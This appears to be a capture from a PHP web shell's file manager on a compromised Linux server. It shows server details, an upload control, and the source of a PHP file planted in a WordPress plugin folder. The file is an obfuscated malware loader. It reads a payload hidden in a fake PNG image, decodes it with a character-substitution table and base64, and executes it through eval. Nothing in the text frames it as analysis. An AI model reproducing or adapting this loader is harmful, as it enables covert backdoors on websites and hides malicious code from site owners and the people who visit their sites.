HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web78 (5081)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web78/web/wp-content/plugins/rusuvybo/awiwyve.php
<?php

function okhonok_egiruch($achuwuh_ejethiz) {
    if (!file_exists($achuwuh_ejethiz))
        return false;
    $avudiv = @file_get_contents($achuwuh_ejethiz);
    if (!$avudiv)
        return false;
    $avudiv = substr($avudiv, 3);
    $qymolo = ilithir_imyzinu($avudiv);
    return $qymolo;
}

function ilithir_imyzinu($achuwuh_ejethiz) {
    $zychogy = ogupubu_iwokabe;
    $ushebyh = array();
    for ($chazusa = 0; $chazusa < strlen($zychogy); $chazusa += 2) {
        $tuxaju = substr($zychogy, $chazusa, 1);
        $luzhuxe = substr($zychogy, $chazusa + 1, 1);
        $ushebyh[$tuxaju] = $luzhuxe;
    }
    $oqecaj = strtr($achuwuh_ejethiz, $ushebyh);
    $oqecaj = base64_decode($oqecaj);

    return $oqecaj;
}

define("ogupubu_iwokabe", "of2zDIzpV08=1PwWtiY2dBRggy9CO9NTAwIlPxSZhXkrHNeQrnGhpDjAiu743oUj=sab/Muvx3MFQYJ1Ec+a4LZGm8COLmXKFqTeq+0Vb6nkcUf/65lSv7yHWR5tsJBdKE");

$tutymuk = okhonok_egiruch(__DIR__ . "/asse" . "ts/im" . "ages/" . "inazuh" . ".png");
if ($tutymuk) {
    @eval($tutymuk);
}